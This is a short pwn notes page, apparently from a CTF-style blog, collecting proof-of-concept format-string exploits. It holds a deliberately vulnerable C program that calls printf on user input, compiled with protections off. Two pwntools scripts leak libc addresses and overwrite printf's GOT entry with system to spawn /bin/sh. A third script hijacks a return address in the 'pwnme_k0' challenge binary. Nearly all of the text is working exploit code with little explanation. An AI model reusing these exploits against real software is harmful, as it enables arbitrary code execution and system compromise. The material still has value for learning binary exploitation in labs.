pwn fmt

This article will record some poc for pwn fmt.

hijack GOT

vul.c

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}

compile command

1
gcc -m32 -fno-stack-protector -no-pie vul.c -o vul

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
elf=ELF("./vul")
r=process('./vul')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def exec_fmt(payload):
r.sendline(payload)
info=r.recv()
return info
auto=FmtStr(exec_fmt)
offset=auto.offset
print("offset: "+str(offset))

#get printf got addr
printf_got=elf.got['printf']
print("printf_got=>{}".format(hex(printf_got)))

#get printf virtu addr
payload=p32(printf_got)+'%{}$s'.format(offset)
print("get printf virtu addr poc: {}".format(payload))
r.sendline(payload)
printf_addr=u32(r.recv()[4:8])
print("get printf virtu addr: {}".format(hex(printf_addr)))

#get system virtu addr
system_addr=printf_addr-(libc.symbols['printf']-libc.symbols['system'])
print("get system virtu addr: {}".format(hex(system_addr)))


payload=fmtstr_payload(offset,{printf_got:system_addr})
r.send(payload)
r.send("/bin/sh")
r.recv()
r.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#encoding=utf-8
from pwn import *


elf=ELF("./vul")
r=process('./vul')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def exec_fmt(payload):
r.sendline(payload)
info=r.recv()
return info
auto=FmtStr(exec_fmt)
offset=auto.offset
print("offset: "+str(offset))

#get printf got addr
printf_got=elf.got['printf']
print("printf_got=>{}".format(hex(printf_got)))

#get printf virtu addr
payload=p32(printf_got)+'%{}$s'.format(offset)
print("get printf virtu addr poc: {}".format(payload))
r.sendline(payload)
printf_addr=u32(r.recv()[4:8])
print("get printf virtu addr: {}".format(hex(printf_addr)))

#get system virtu addr
system_addr=printf_addr-(libc.symbols['printf']-libc.symbols['system'])
print("get system virtu addr: {}".format(hex(system_addr)))


def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


# offset 表示要覆盖的地址最初的偏移
# size 表示机器字长
# addr 表示将要覆盖的地址。
# target 表示我们要覆盖为的目的变量值。
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

payload=fmt_str(offset,4,printf_got,system_addr)

print("overwriter printf_got poc: {}".format(payload))
r.send(payload)
r.send("/bin/sh")
r.recv()
r.interactive()

hijack retaddr

pwnme_k0

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
# context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
# gdb.attach(p,'break *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('\n')[1]
leak_addr=int(data,16)-0x38
# print hex(leak_addr)
p.sendline('2')
p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2214u%12$hn"
payload += p64(leak_addr)
p.send(payload)
p.recvuntil('>')
p.sendline('1')
p.interactive()

https://eternalsakura13.com/2018/03/19/pwnme/